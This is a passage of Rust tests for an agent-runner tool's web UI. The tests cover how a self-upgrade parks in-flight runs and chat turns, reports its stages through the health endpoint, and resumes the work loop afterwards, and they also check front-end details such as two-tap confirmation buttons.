21829        // config discovery, which left `mode = "notify"` - and a live,
21830        // unauthenticated call to the GitHub releases API inside a unit test.
21831        // GitHub allows 60 of those an hour per address, so the suite went red
21832        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
21833        // long as somebody kept re-running it: every attempt spent another
21834        // request. Six reruns across four pull requests were charged to that
21835        // before it was read as a rate limit rather than a flake.
21836        //
21837        // What the assertion is about is the "already current" branch, which
21838        // is reached by there being no newer release *or* nowhere to look. The
21839        // second one needs no network and cannot be rate limited.
21840        let repo = TempDir::new().expect("repo dir");
21841        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21842            .expect("write magi.toml");
21843        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21844
21845        // It must answer 200 and leave the process alone: restarting for an
21846        // upgrade that did not happen parks the run in flight and drops every
21847        // connection to pay for nothing. A probe against a deck already on the
21848        // newest build did exactly that, which is how this case got its own
21849        // branch.
21850        let res = fx.post("/api/upgrade", None).await;
21851        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21852        let body = res.json();
21853        assert!(body["to"].is_null(), "there was no release to move to");
21854        assert!(body["parked"].is_null(), "and nothing was parked");
21855        assert!(
21856            body["detail"]
21857                .as_str()
21858                .unwrap()
21859                .contains("nothing restarted"),
21860            "{body:?}"
21861        );
21862    }
21863
21864    #[tokio::test]
21865    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
21866        // `mode = "off"` for the same reason as the test above: a default
21867        // fixture repo falls back to `mode = "notify"`, which would make this
21868        // route's new `update` field a live, unauthenticated GitHub call on
21869        // every assertion in this suite that happens to hit `/api/health`.
21870        let repo = TempDir::new().expect("repo dir");
21871        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21872            .expect("write magi.toml");
21873        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21874
21875        let health = fx.get("/api/health").await.json();
21876        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
21877        assert_eq!(
21878            health["update"]["available"], false,
21879            "checking is off, which reads as \"unknown\", not \"none\""
21880        );
21881        assert!(health["update"]["to"].is_null());
21882        assert!(
21883            health["upgrade"].is_null(),
21884            "nothing has ever asked this deck to upgrade"
21885        );
21886    }
21887
21888    #[tokio::test]
21889    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
21890        let fx = Fixture::start().await;
21891        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
21892
21893        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21894        progress.parked_run = Some("20260905-000000-cd51".to_owned());
21895        progress.advance(crate::updater::Stage::Parking);
21896        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21897
21898        let health = fx.get("/api/health").await.json();
21899        assert_eq!(health["upgrade"]["stage"], "parking");
21900        assert_eq!(health["upgrade"]["from"], "0.5.1");
21901        assert_eq!(health["upgrade"]["to"], "0.5.2");
21902        let waiting_on = health["upgrade"]["waiting_on"]
21903            .as_str()
21904            .expect("waiting_on is set while parking a known run");
21905        assert!(waiting_on.contains("cd51"), "{waiting_on}");
21906        assert!(waiting_on.contains("implementing"), "{waiting_on}");
21907    }
21908
21909    #[tokio::test]
21910    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
21911        let fx = Fixture::start().await;
21912        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21913        progress.advance(crate::updater::Stage::Done);
21914        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21915
21916        let health = fx.get("/api/health").await.json();
21917        assert_eq!(health["upgrade"]["stage"], "done");
21918        assert!(
21919            health["upgrade"]["waiting_on"].is_null(),
21920            "nothing to wait on once it is done"
21921        );
21922    }
21923
21924    #[tokio::test]
21925    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
21926        let home = TempDir::new().expect("temp home");
21927        let runs = home.path().join("runs");
21928        std::fs::create_dir_all(&runs).expect("runs dir");
21929        let ui = Ui::new(
21930            Queue::at(home.path().join("queue")),
21931            Questions::at(home.path().join("questions")),
21932            Talks::at(home.path().join("talks")),
21933            runs,
21934            home.path().to_path_buf(),
21935            PathBuf::from("/repo/magi"),
21936        )
21937        .with_launch(launch_idle);
21938        let looping = ui.looping();
21939        let turns = ui.turns();
21940        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21941            .await
21942            .expect("bind loopback");
21943        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21944
21945        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21946        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21947
21948        hand_over(
21949            home.path(),
21950            &looping,
21951            &turns,
21952            &|_: &[String]| Duration::from_secs(5),
21953            served,
21954            |_| Ok(1),
21955        )
21956        .await
21957        .expect("hand over");
21958
21959        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
21960        assert_eq!(
21961            after.stage,
21962            crate::updater::Stage::Restarting,
21963            "hand_over owns the record through parking and up to restarting; \
21964             the successor is what finishes it"
21965        );
21966    }
21967
21968    /// The successor is started exactly once on success, and exactly once on
21969    /// failure too (a failed start is reported, never retried).
21970    #[tokio::test]
21971    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
21972        for fail in [false, true] {
21973            let home = TempDir::new().expect("temp home");
21974            let ui = idle_ui(&home);
21975            let looping = ui.looping();
21976            let turns = ui.turns();
21977            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21978                .await
21979                .expect("bind loopback");
21980            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21981            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21982            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21983
21984            let calls = std::sync::atomic::AtomicUsize::new(0);
21985            let outcome = hand_over(
21986                home.path(),
21987                &looping,
21988                &turns,
21989                &|_: &[String]| Duration::from_secs(5),
21990                served,
21991                |_| {
21992                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21993                    if fail {
21994                        anyhow::bail!("no exec")
21995                    } else {
21996                        Ok(4242)
21997                    }
21998                },
21999            )
22000            .await;
22001            assert_eq!(outcome.is_err(), fail);
22002            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22003
22004            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
22005                .expect("upgrade.log is written under the home");
22006            for step in [
22007                "entered",
22008                "finish_loop",
22009                "listener released",
22010                "starting the successor",
22011            ] {
22012                assert!(log.contains(step), "missing `{step}` in:\n{log}");
22013            }
22014            assert!(
22015                log.contains(if fail { "did not start" } else { "pid 4242" }),
22016                "{log}"
22017            );
22018        }
22019    }
22020
22021    /// The handover signal is seen however the race falls, and wakes its one
22022    /// waiter once per signal - nothing here can spin.
22023    #[tokio::test]
22024    async fn the_handover_signal_wakes_one_waiter_once() {
22025        let signal = Notify::new();
22026        // Signalled before anyone waits: the stored permit is not lost.
22027        signal.notify_one();
22028        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22029            .await
22030            .expect("an early signal is still seen");
22031        // One signal, one wake-up: a second wait does not resolve by itself.
22032        assert!(
22033            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22034                .await
22035                .is_err(),
22036            "a consumed signal must not wake a second time"
22037        );
22038        // Signalled while waiting.
22039        let signal = std::sync::Arc::new(signal);
22040        let waiter = tokio::spawn({
22041            let signal = std::sync::Arc::clone(&signal);
22042            async move { wait_for_handover(&signal).await }
22043        });
22044        tokio::time::sleep(Duration::from_millis(20)).await;
22045        assert!(!waiter.is_finished(), "nothing was signalled yet");
22046        signal.notify_one();
22047        tokio::time::timeout(Duration::from_secs(5), waiter)
22048            .await
22049            .expect("a late signal wakes the waiter")
22050            .expect("join");
22051    }
22052
22053    #[tokio::test]
22054    async fn health_says_how_long_a_handover_has_been_stuck() {
22055        let fx = Fixture::start().await;
22056        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22057        progress.advance(crate::updater::Stage::Replaced);
22058        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22059        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22060
22061        let health = fx.get("/api/health").await.json();
22062        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22063        assert!(stuck >= 600, "{stuck}");
22064        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22065        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22066    }
22067
22068    #[tokio::test]
22069    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22070        let home = tempfile::tempdir().expect("temp home");
22071        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22072        progress.advance(crate::updater::Stage::Parking);
22073        crate::updater::write_progress(home.path(), &progress).expect("seed");
22074        // What the second upgrade_and_restart and its handler do.
22075        let mut again = progress.clone();
22076        again.advance(crate::updater::Stage::Replaced);
22077        crate::updater::write_progress(home.path(), &again).expect("replaced");
22078        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22079        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22080        let after = crate::updater::read_progress(home.path()).expect("record");
22081        assert_eq!(after.stage, crate::updater::Stage::Parking);
22082    }
22083
22084    #[tokio::test]
22085    async fn health_does_not_call_a_live_parking_wait_stuck() {
22086        let fx = Fixture::start().await;
22087        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22088        progress.parked_run = Some("20260905-000000-cd51".to_owned());
22089        progress.advance(crate::updater::Stage::Parking);
22090        let hours = Duration::from_secs(3 * 3600);
22091        progress.started_at = Timestamp::now() - hours;
22092        progress.updated_at = Timestamp::now() - hours;
22093        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22094        let _lease = crate::updater::LeaseGuard::enter(
22095            fx.home.path(),
22096            Some("20260905-000000-cd51".to_owned()),
22097        );
22098
22099        let health = fx.get("/api/health").await.json();
22100        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22101        assert!(health["upgrade"]["stuck_kind"].is_null());
22102        assert_eq!(health["upgrade"]["handover_alive"], true);
22103        let waiting_on = health["upgrade"]["waiting_on"]
22104            .as_str()
22105            .expect("waiting_on");
22106        assert!(waiting_on.contains("cd51"), "{waiting_on}");
22107    }
22108
22109    fn idle_ui(home: &TempDir) -> Ui {
22110        let runs = home.path().join("runs");
22111        std::fs::create_dir_all(&runs).expect("runs dir");
22112        Ui::new(
22113            Queue::at(home.path().join("queue")),
22114            Questions::at(home.path().join("questions")),
22115            Talks::at(home.path().join("talks")),
22116            runs,
22117            home.path().to_path_buf(),
22118            PathBuf::from("/repo/magi"),
22119        )
22120        .with_launch(launch_idle)
22121    }
22122
22123    async fn park_fixture(
22124        home: &TempDir,
22125    ) -> (
22126        Ui,
22127        Arc<Mutex<LoopState>>,
22128        Arc<Mutex<TalkTurns>>,
22129        tokio::task::JoinHandle<std::io::Result<()>>,
22130    ) {
22131        let ui = idle_ui(home);
22132        let looping = ui.looping();
22133        let turns = ui.turns();
22134        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22135            .await
22136            .expect("bind loopback");
22137        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22138        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22139        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22140        (ui, looping, turns, served)
22141    }
22142
22143    /// The hand-over does not release the address while a chat turn is in
22144    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
22145    /// started once the turn ends.
22146    #[tokio::test]
22147    async fn hand_over_waits_for_a_running_chat_turn() {
22148        let home = TempDir::new().expect("temp home");
22149        let (ui, looping, turns, served) = park_fixture(&home).await;
22150        let ui = Arc::new(ui);
22151        let id = "20260901-000000-chat";
22152        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22153
22154        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22155        let handover = tokio::spawn({
22156            let home = home.path().to_path_buf();
22157            let turns = Arc::clone(&turns);
22158            let calls = Arc::clone(&calls);
22159            async move {
22160                hand_over(
22161                    &home,
22162                    &looping,
22163                    &turns,
22164                    &|_: &[String]| Duration::from_secs(60),
22165                    served,
22166                    move |_| {
22167                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22168                        Ok(1)
22169                    },
22170                )
22171                .await
22172            }
22173        });
22174
22175        let waiting = async {
22176            for _ in 0..200 {
22177                if crate::updater::read_progress(home.path())
22178                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
22179                {
22180                    return;
22181                }
22182                tokio::time::sleep(Duration::from_millis(25)).await;
22183            }
22184            panic!("the park never named the chat turn");
22185        };
22186        waiting.await;
22187        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22188
22189        // A new turn is refused, a queued claim and a direct `/say` see a busy
22190        // slot, and nothing new is live.
22191        let refused = ui.begin_talk_turn("20260901-000000-late").err();
22192        assert!(
22193            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22194            "a direct start says an upgrade is in progress"
22195        );
22196        assert!(
22197            ui.begin_queued_talk_turn("20260901-000000-late")
22198                .expect("queued claim")
22199                .is_none()
22200        );
22201        assert!(matches!(
22202            ui.begin_talk_turn_unless_pending("20260901-000000-late")
22203                .expect("start"),
22204            TalkTurnStart::Busy
22205        ));
22206        assert_eq!(turns.lock().unwrap().live.len(), 1);
22207
22208        // The health text names the turn.
22209        let progress = crate::updater::read_progress(home.path()).expect("progress");
22210        let view = upgrade_progress_view(&ui, progress);
22211        assert!(
22212            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
22213            "{:?}",
22214            view.waiting_on
22215        );
22216
22217        assert!(!handover.is_finished());
22218        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22219        drop(turn);
22220        handover.await.expect("join").expect("hand over");
22221        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22222        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22223    }
22224
22225    /// Chat stays open while the loop is still parking, and closes only once
22226    /// the loop is done; a turn started during the park is waited for.
22227    #[tokio::test]
22228    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
22229        let home = TempDir::new().expect("temp home");
22230        let (ui, looping, turns, served) = park_fixture(&home).await;
22231        let ui = Arc::new(ui);
22232        // A loop that ends only when told to.
22233        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
22234        lock_or_recover(&looping).live = Some(Live {
22235            stop: daemon::Stop::new(),
22236            handle: tokio::spawn(async move {
22237                let _ = loop_ended.await;
22238            }),
22239            opts: daemon::Opts::default(),
22240        });
22241
22242        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22243        let handover = tokio::spawn({
22244            let home = home.path().to_path_buf();
22245            let turns = Arc::clone(&turns);
22246            let calls = Arc::clone(&calls);
22247            async move {
22248                hand_over(
22249                    &home,
22250                    &looping,
22251                    &turns,
22252                    &|_: &[String]| Duration::from_secs(60),
22253                    served,
22254                    move |_| {
22255                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22256                        Ok(1)
22257                    },
22258                )
22259                .await
22260            }
22261        });
22262
22263        let reached = async {
22264            for _ in 0..200 {
22265                if crate::updater::read_progress(home.path())
22266                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
22267                {
22268                    return;
22269                }
22270                tokio::time::sleep(Duration::from_millis(25)).await;
22271            }
22272            panic!("the hand-over never reached parking");
22273        };
22274        reached.await;
22275
22276        // The loop is still parking: a chat turn starts.
22277        assert!(!turns.lock().unwrap().parking);
22278        let turn = ui
22279            .begin_talk_turn("20260901-000000-chat")
22280            .expect("claim")
22281            .expect("a turn can start while the loop parks");
22282
22283        // The loop ends; the slot closes while the first turn is still held.
22284        end_loop.send(()).expect("loop still waiting");
22285        for _ in 0..200 {
22286            if turns.lock().unwrap().parking {
22287                break;
22288            }
22289            tokio::time::sleep(Duration::from_millis(25)).await;
22290        }
22291        assert!(
22292            turns.lock().unwrap().parking,
22293            "closed once the loop is done"
22294        );
22295        let refused = ui.begin_talk_turn("20260901-000000-late").err();
22296        assert!(
22297            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22298            "no turn starts once the loop is done"
22299        );
22300        assert!(
22301            ui.begin_queued_talk_turn("20260901-000000-late")
22302                .expect("queued claim")
22303                .is_none()
22304        );
22305        assert!(!handover.is_finished());
22306        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22307
22308        drop(turn);
22309        handover.await.expect("join").expect("hand over");
22310        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22311        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22312    }
22313
22314    /// A turn that never ends cannot block the upgrade: past the bound the
22315    /// hand-over proceeds and records which talk it gave up on.
22316    #[tokio::test]
22317    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
22318        let home = TempDir::new().expect("temp home");
22319        let (ui, looping, turns, served) = park_fixture(&home).await;
22320        let id = "20260901-000000-stuk";
22321        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22322
22323        let calls = std::sync::atomic::AtomicUsize::new(0);
22324        hand_over(
22325            home.path(),
22326            &looping,
22327            &turns,
22328            &|_: &[String]| Duration::from_millis(300),
22329            served,
22330            |_| {
22331                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22332                Ok(1)
22333            },
22334        )
22335        .await
22336        .expect("hand over");
22337        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22338
22339        let progress = crate::updater::read_progress(home.path()).expect("progress");
22340        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
22341        assert!(
22342            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
22343            "{:?}",
22344            progress.detail
22345        );
22346        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
22347        assert!(
22348            log.contains("handing over anyway") && log.contains(id),
22349            "{log}"
22350        );
22351    }
22352
22353    /// A drain that finds the upgrade parking leaves the queued draft alone
22354    /// and gives the slot up, instead of starting another turn.
22355    #[tokio::test]
22356    async fn drain_loop_starts_no_turn_while_parking() {
22357        let tmp = TempDir::new().expect("tempdir");
22358        let repo = tmp.path().join("repo");
22359        std::fs::create_dir_all(&repo).expect("repo dir");
22360        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
22361        let home = TempDir::new().expect("temp home");
22362        let talks = Talks::at(home.path().join("talks"));
22363        let ui = Ui::new(
22364            Queue::at(home.path().join("queue")),
22365            Questions::at(home.path().join("questions")),
22366            talks.clone(),
22367            home.path().join("runs"),
22368            home.path().to_path_buf(),
22369            repo.clone(),
22370        )
22371        .with_worktrees_root(home.path().join("wt"));
22372        let cfg = config_for(&repo).await.expect("discover config");
22373        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
22374        let id = talk.id.clone();
22375        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
22376        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
22377        let turns = ui.turns();
22378        let parking = ParkingTurns::begin(&turns);
22379
22380        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
22381
22382        assert!(
22383            turns.lock().unwrap().live.is_empty(),
22384            "the slot is given up"
22385        );
22386        let fresh = talks.get(&id).expect("talk");
22387        assert_eq!(fresh.pending, "later", "the draft is still queued");
22388        assert!(fresh.turns.is_empty(), "no turn ran");
22389        drop(parking);
22390    }
22391
22392    /// Run `hand_over` against `ui` and return what the successor was told.
22393    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
22394        let looping = ui.looping();
22395        let turns = ui.turns();
22396        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22397            .await
22398            .expect("bind loopback");
22399        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22400        let told = std::sync::Mutex::new(None);
22401        hand_over(
22402            home.path(),
22403            &looping,
22404            &turns,
22405            &|_: &[String]| Duration::from_secs(5),
22406            served,
22407            |resume| {
22408                *told.lock().unwrap() = Some(resume);
22409                Ok(1)
22410            },
22411        )
22412        .await
22413        .expect("hand over");
22414        told.into_inner().unwrap().expect("successor was started")
22415    }
22416
22417    #[tokio::test]
22418    async fn a_running_loop_is_resumed_by_the_successor() {
22419        let home = TempDir::new().expect("temp home");
22420        let ui = idle_ui(&home);
22421        ui.start_loop(None).expect("start");
22422        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22423        // The idle loop sees the park and ends before the handover fires.
22424        for _ in 0..500 {
22425            if !ui.loop_view(None).running {
22426                break;
22427            }
22428            tokio::time::sleep(Duration::from_millis(2)).await;
22429        }
22430        assert!(handed_over(&home, ui).await, "a running loop must resume");
22431
22432        let successor = idle_ui(&home);
22433        assert!(!successor.loop_view(None).running);
22434        assert!(successor.resume_after_handover(true));
22435        assert!(successor.loop_view(None).running);
22436        successor.stop_loop(None, false).expect("stop");
22437    }
22438
22439    #[tokio::test]
22440    async fn a_second_upgrade_request_keeps_the_resume_intent() {
22441        let home = TempDir::new().expect("temp home");
22442        let ui = idle_ui(&home);
22443        ui.start_loop(None).expect("start");
22444        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22445            .expect("first park");
22446        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22447            .expect("second park");
22448        assert!(handed_over(&home, ui).await);
22449    }
22450
22451    #[tokio::test]
22452    async fn a_stop_during_the_handover_wait_is_honoured() {
22453        let home = TempDir::new().expect("temp home");
22454        let ui = idle_ui(&home);
22455        ui.start_loop(None).expect("start");
22456        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22457        ui.stop_loop(None, false).expect("stop");
22458        assert!(!handed_over(&home, ui).await);
22459    }
22460
22461    #[tokio::test]
22462    async fn an_idle_loop_stays_stopped_across_the_handover() {
22463        let home = TempDir::new().expect("temp home");
22464        let ui = idle_ui(&home);
22465        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22466        assert!(!handed_over(&home, ui).await);
22467
22468        let successor = idle_ui(&home);
22469        assert!(!successor.resume_after_handover(false));
22470        assert!(!successor.loop_view(None).running);
22471    }
22472
22473    #[tokio::test]
22474    async fn a_loop_the_operator_stopped_is_not_resumed() {
22475        let home = TempDir::new().expect("temp home");
22476        let ui = idle_ui(&home);
22477        ui.start_loop(None).expect("start");
22478        ui.stop_loop(None, false).expect("stop");
22479        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22480        assert!(!handed_over(&home, ui).await);
22481    }
22482
22483    #[test]
22484    fn only_an_explicit_one_requests_a_resume() {
22485        assert!(!resume_requested(None));
22486        assert!(!resume_requested(Some("0".into())));
22487        assert!(!resume_requested(Some("".into())));
22488        assert!(resume_requested(Some("1".into())));
22489    }
22490
22491    #[test]
22492    fn the_upgrade_button_arms_before_it_restarts_anything() {
22493        // It ends the process the operator is talking to, and a phone in a
22494        // pocket taps things. One tap arms, the second commits.
22495        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
22496        assert!(APP_JS.contains("Replace the binary and restart?"));
22497        assert!(APP_JS.contains("function confirmed("));
22498        // Hidden when the loop is somebody else's, matching the 409 above -
22499        // and hidden with nothing to install, matching the 200 "already
22500        // current" branch: an operator on the newest build must not be
22501        // offered a restart that would only park a run for nothing.
22502        assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
22503        // A park waits for the node in flight, up to an hour for an implement
22504        // wave. Leaving the button reading "Upgrading…" for that long is the
22505        // same mistake as an error rendered off screen: it looks wedged.
22506        assert!(
22507            APP_JS.contains("Parking, then restarting"),
22508            "the button says what it is waiting for"
22509        );
22510        // And nothing to install must give the button back rather than
22511        // pretending a restart is coming.
22512        assert!(APP_JS.contains("if (!out.to)"));
22513    }
22514
22515    #[test]
22516    fn stopping_the_loop_arms_but_starting_does_not() {
22517        // A stray tap must not leave the queue stopped overnight, so a stop is
22518        // two taps through the same helper the upgrade uses; a start stays one.
22519        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
22520        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
22521        assert!(APP_JS.contains("confirmed(button, question)"));
22522        // The label put back on timeout is the one saved when arming, not a
22523        // hard-coded upgrade caption that would rename the stop button.
22524        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
22525        assert!(APP_JS.contains("const label = btn.textContent;"));
22526        assert!(!APP_JS.contains("Neither direction is guarded"));
22527    }
22528
22529    #[test]
22530    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
22531        assert!(
22532            APP_JS.contains("state.health.version"),
22533            "the operator wants to know what is running even with nothing newer"
22534        );
22535        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
22536    }
22537
22538    #[test]
22539    fn the_upgrade_button_names_its_destination() {
22540        assert!(
22541            APP_JS.contains("`Update to ${update.to}`"),
22542            "pressing the button should not be a surprise about what it moves to"
22543        );
22544    }
22545
22546    #[test]
22547    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
22548        for stage in ["downloading", "replaced", "parking", "restarting"] {
22549            assert!(
22550                APP_JS.contains(&format!("\"{stage}\"")),
22551                "the phone must be able to tell {stage} apart from the others"
22552            );
22553        }
22554        assert!(APP_JS.contains(".waiting_on"));
22555        // What replaced the bare "Cannot reach magi: Failed to fetch": a
22556        // fetch failing while an upgrade is in flight is not an error, it is
22557        // the sub-second gap `bind_waiting` covers, and it must not be
22558        // reported as one.
22559        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
22560        assert!(APP_JS.contains("reconnects on its own"));
22561    }
22562
22563    #[test]
22564    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
22565        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
22566            ..APP_JS.find("function upgrade(").expect("upgrade")];
22567        assert!(!body.contains(
22568            "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
22569        ));
22570        assert!(body.contains("renderUpgradeError();"));
22571        assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
22572    }
22573
22574    #[test]
22575    fn an_overdue_upgrade_eventually_asks_for_a_human() {
22576        // The ceiling has to clear a full hour-long park with room to spare,
22577        // or an ordinary implement wave would be reported as a stuck upgrade.
22578        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
22579        assert!(APP_JS.contains("function upgradeOverdue("));
22580    }
22581
22582    #[test]
22583    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
22584        assert!(
22585            APP_JS.contains("Updated to ${upgradeInfo.to"),
22586            "the operator who asked for the restart wants to know it worked"
22587        );
22588    }
22589
22590    #[test]
22591    fn an_error_is_visible_from_where_the_button_is() {
22592        // The alert used to sit in the flow under the header. On a phone
22593        // scrolled 13 500 px down to a run's action sheet that is off screen,
22594        // so tapping Resume and being told "the loop is running run b455
22595        // right now" looked exactly like a button that did nothing.
22596        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22597            ..APP_CSS.find(".alert-text").expect(".alert-text")];
22598        assert!(
22599            alert.contains("position: fixed"),
22600            "an error about the thing under your thumb has to be visible from \
22601             where your thumb is: {alert}"
22602        );
22603        assert!(
22604            alert.contains("z-index: 25"),
22605            "above the dock (20) and the run-actions FAB (15), so neither \
22606             buries it: {alert}"
22607        );
22608        assert!(
22609            alert.contains("var(--tap)"),
22610            "and clear of the dock and the home indicator: {alert}"
22611        );
22612        // The FAB sits at the same height on the right. An error that covered
22613        // it would hide the button the operator reaches for next.
22614        assert!(
22615            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22616            "the FAB's column stays free: {alert}"
22617        );
22618    }
22619
22620    #[tokio::test]
22621    async fn an_older_attempt_says_what_replaced_it() {
22622        let fx = Fixture::start().await;
22623        let q = fx.queue();
22624        let runs = fx.runs();
22625        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22626        write_run(&runs, first, RunStatus::Stalled);
22627        write_run(&runs, second, RunStatus::Blocked);
22628
22629        let mut t = Task::new(
22630            "one task".to_owned(),
22631            "do it".to_owned(),
22632            PathBuf::from("/repo"),
22633            Source::Human,
22634        );
22635        t.runs = vec![first.to_owned(), second.to_owned()];
22636        q.put(&mut t).expect("put");
22637
22638        // Two cards with the same title and no hint which is which was the
22639        // question: "why are there two of the same, one stalled and one
22640        // blocked?" The older one now names its replacement.
22641        let rows = fx.get("/api/runs").await.json();
22642        let by = |short: &str| -> Value {
22643            rows.as_array()
22644                .unwrap()
22645                .iter()
22646                .find(|r| r["short"] == short)
22647                .cloned()
22648                .unwrap_or(Value::Null)
22649        };
22650        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22651        assert!(
22652            by("bbbb")["superseded_by"].is_null(),
22653            "the latest attempt is not superseded by anything"
22654        );
22655        // Front end: the note has to be rendered, not just carried.
22656        assert!(APP_JS.contains("run.superseded_by"));
22657        assert!(APP_JS.contains("Superseded by"));
22658    }
22659
22660    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22661        let mut t = Task::new(
22662            "one task".to_owned(),
22663            "do it".to_owned(),
22664            PathBuf::from("/repo"),
22665            Source::Human,
22666        );
22667        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22668        t.status = status;
22669        t
22670    }
22671
22672    #[test]
